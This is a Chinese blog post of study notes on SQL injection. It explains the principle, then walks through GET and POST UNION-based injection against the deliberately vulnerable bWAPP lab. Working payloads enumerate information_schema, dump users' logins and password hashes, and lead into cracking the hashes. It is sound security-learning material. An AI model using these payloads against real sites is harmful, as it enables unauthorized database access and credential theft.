[12]-SQL注入漏洞原理及危害

一、定义及原理

1.SQL注入漏洞

  1. 发生于应用程序与数据库的安全漏洞
  2. 造成原因
    网站内部很多需要结合用户的输入数据动态构造sql语句,如果用户数据数据被构造成恶意sql代码,web应用又未对动态构造的sql语句进行参数审查,则会导致漏洞

2.GET型SQL注入漏洞

  1. 须知:
    提交网页内容时,主要分为GET方法和POST方法,
  2. GET型SQL注入漏洞
    GET方法提交的内容会显示在url上,通过对url连接进行构造,可以获得超出权限的信息内容

3.Web程序三层架构

  1. 业务应用划分
    • 界面层
    • 业务逻辑层
    • 数据访问层
  2. 用户访问网页流程
    • 输入url,连接到目标服务器
    • 业务逻辑层的web服务器从本地存储中加载index.php脚本并解析
    • 脚本连接位于数据访问层的DBMS,并执行SQL
    • 数据访问层的DBMS返回SQL执行结果给web server----注入漏洞发生环节
    • web server将页面封装成html格式发送给表示层浏览器
    • 表示层的浏览器解析html并将内容呈现给用户

4.注入实例

  1. 拼接过程
    select id,name from test where id=?
    其中?是需要用户输入的,如果这里替换为1 or 1=1
    select id,name from test where id=1 or 1=1,则该表达式条件判断永真
    也即select id,name from test查询所有的数据
  2. 案例效果
    构造恶意输入
    image-20230206100004088

5.SQL注入带来威胁

  1. 猜解后台数据库,盗取网站敏感信息
    包括一些管理员的表、数据的表等等
  2. 绕过验证登录网站后台
  3. 借助数据库的存储过程进行提权等操作

二、注入实战示例

1.GET型注入攻击

  1. 前置环境

    • bwapp
    • 漏洞:SQL Injection (GET/Search)
    • 等级:low
  2. 注入目标
    通过搜索框,获取后台用户账户信息

  3. 注入流程

    • 查找注入点--通过输入反馈-----判断是否存在注入可能性

    • 先输入正常数据,查看结果

    • 再输入'查看反馈信息

    • 尝试UNION(进行联合查询)是否生效---构造其他sql语句--测试字段数量

    • 测试字段数量成功--替换其中的选项--获取数据库详细信息

    • 成功获取数据库信息-发现users表---进行user表结构信息获取

    • 尝试彩虹表碰撞---获取密码明文

  4. 具体细节
    输入'后,发现报错,告知sql语法有错误,说明可以进行注入

    image-20230206101617357

    通过联和查询,确定sql注入漏洞存在的一个字段数量,使用hacker bar quantum,此外,注意这里之所以是t'是因为接收的输入的是一个字符串型

    http://192.168.20.130/sqli_1.php?title=t'union select 1,2 -- &action=search
    

    image-20230206105801482
    提示字段数量不匹配,增加字段直至正确返回

    http://192.168.20.130/sqli_1.php?title=t'union select 1,2,3,4,5,6,7 -- &action=search
    

    当增至7时,语句成功执行,得知总共有7个字段,并且表中Title是第2个字段,Release为第3个字段,Character为第5个字段,Genre为第4个字段,且这些字段可以直接返回在页面上。
    image-20230206115102925
    通过回显得知,2,3,4,5字段可以直接回显在页面上的,因此只需要对这些字段进行修改,就可以直接得到想要查询的内容
    要查询用户用户名和密码,则要知道对应的表名,就要用到infromation_schema数据库,以及其内部的tables

    http://192.168.20.130/sqli_1.php?title=t'union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() -- &action=search
    

    得到返回结果,再将返回结果与字段以及字段所对应替换的内容对应,例如:从上图中得知Genre代表的是第4个字段,而在下图中,第四个字段在查询语句中替换为了table_name,因此下图中Genre中所返回的都是table_name的信息,及数据库中的所有表名。
    image-20230206120101981
    从返回结果中猜测存放用户信息的表在users中,进一步需要得知users表的结构,此时只需要用到information_schema.columns

    http://192.168.20.130/sqli_1.php?title=t'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' -- &action=search
    

    成功查询到了users表的所有字段,即users表没一列的列名
    image-20230206121404068

    此时,要获取用户信息,根据返回的users表结构,则可以对idloginpassword进行查询

    http://192.168.20.130/sqli_1.php?title=t'union select 1,id,login,4,password,6,7 from users -- &action=search
    

    返回结果如下:
    image-20230206121854908

    此时就已经得到了网站使用的用户以及其密码(加盐后的)
    要想获得密码明文,我们可以尝试采用彩虹表碰撞的手法尝试碰撞(密码强度较低时),网站:https://www.cmd5.com/
    image-20230206122320767

    得到碰撞后的明文后,尝试登录即可,如果成功这说明无误。

  5. 关于单引号判断注入点
    比如我们要查询id=1的信息是,输入1时,构造的sql语句即select * from test where id='1';
    image-20230206112039385
    但是,当通过输入'后,构造结果变成了select * from test where id='1'';从而导致语句错误
    此外,关于注入点判定和定位,并不只有单引号这一种方式,在后续高阶注入时具体讲解

  6. 关于UNION语句
    为什么要使用联和查询UNION语句?

    答:通过联和查询,使得将我们需要查询的数据直接打印出来,回显非常直接,优先使用

    select 1,2的作用
    此次表有几个字段(几列),只有当列数一致时才能返回结果

    答:回显的是12两个字段的内容
    两个横杠(--)作用,能否被替换:

    答:注释符号,与dbms相关,常用的还有#
    详见:https://blog.csdn.net/qq_62708558/article/details/122915494

2.POST型注入

  1. 定义&原理
    POST方法提交的信息存储在http实体内容中,用户无感知
    通过改造实体内容,从而达到实际执行的sql语句来获得更多信息的过程

  2. 示例
    环境

    • bwapp
    • 漏洞:SQL Injection (POST/Select)
    • 等级:low
  3. 判断SQL注入点
    打开BurpSuit,开启firefox代理后,点击go向服务器发送post请求。
    image-20230206135707984
    然后打开BurpSuit找到发送的post请求,右击选择send to repater,然后进入Repeater。
    image-20230206135908419
    进入Repeater后,即可看到刚刚发送的post具体请求,这里同get注入,先判断是否存在注入点,单引号法

    image-20230206140740673
    通过返回结果得知,此处存在注入点,通过联和注入,进一步确定该表存在的字段数量。

  4. 尝试确定字段数量

    构造联合查询

    image-20230206141247683

    这里提示语句错误,进一步检查得知union select 1,2 #这块语句不存在问题,而前面的1'应该也不存在问题,但仍然出现报错,则说明这里movie参数的类型可能不是字符串类型,而是整型,尝试去掉1后面的单引号。
    image-20230206141551042

    此时报错提示,字段数量不匹配,自增,直到返回不报错为止。
    image-20230206141718593

    我们此时发现,当字段增加到7时,确实返回结果不在报错,但返回内容却不是我们希望的。此时猜测这里可能只回显第一行的结果及movie=1的结果,因此这里可以选择一个movie不存在的值,使得返回的内容时我们构造恶意代码的语句。一般情况下,我们都将movie=-1,因为一般很少可能用-1,但其实也可以在前端代码中获取,如:在pretty中得知movie在1-10是有值的:
    image-20230206142238518

    因此此时可以将movie=1构造为movie=11或者movie=-1,总之,这个值一定是不存在的值。

    image-20230206142527389

    1. 替换字段,提取所有表项

    上文发现字段反馈成功,替换对应的字段,用于获取更加详细的信息,这里通过构造恶意代码获得了数据库的名词、其中的一张名为blog的表。image-20230206143237843

    由于每次只返回第一行的数据,因此此时还需要获得更多的数据,这里可以使用group_concat()函数将结果拼接一起返回,从而得到表项有bolg、heroes、movies、users、visitors。

      movie=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() # &action=go
    

    image-20230206151313470

  5. 获取用户信息
    进一步获取用户信息,猜测应当存在于users表中,构架payload即可

      movie=-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='users' # &action=go
    

    image-20230206152740962
    获取用户登录名和密码

      movie=-1 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users # &action=go
    

    image-20230206153657135

  6. 总结

    • 字符型注入与整型注入判别
  • group_concat()函数使用,解决前端只显示第一行的问题

3.总结

  1. 注入流程
    • 查找注入点--通过输入反馈-----判断是否存在注入可能性
    • 先输入正常数据,查看结果
    • 再输入'查看反馈信息
    • 尝试UNION(进行联合查询)是否生效---构造其他sql语句--测试字段数量
    • 测试字段数量成功--替换其中的选项--获取数据库详细信息
    • 成功获取数据库信息-发现users表---进行user表结构信息获取
    • 尝试彩虹表碰撞---获取密码明文
  2. 方法总结
    • 注入点判断---单引号判断法
    • 构造恶意代码---union联合查询语句构造
    • 整型注入与字符型注入区分
    • 表项字段数判定---select 1,2,...
    • information_schema数据库的tables表和columns表获取所有表项以及对应表项字段名词
    • group_concat()函数---解决前端只显示数据库结果第一行问题
posted @ 2023-02-06 23:36  缪白(Miubai)  阅读(471)  评论(0编辑  收藏  举报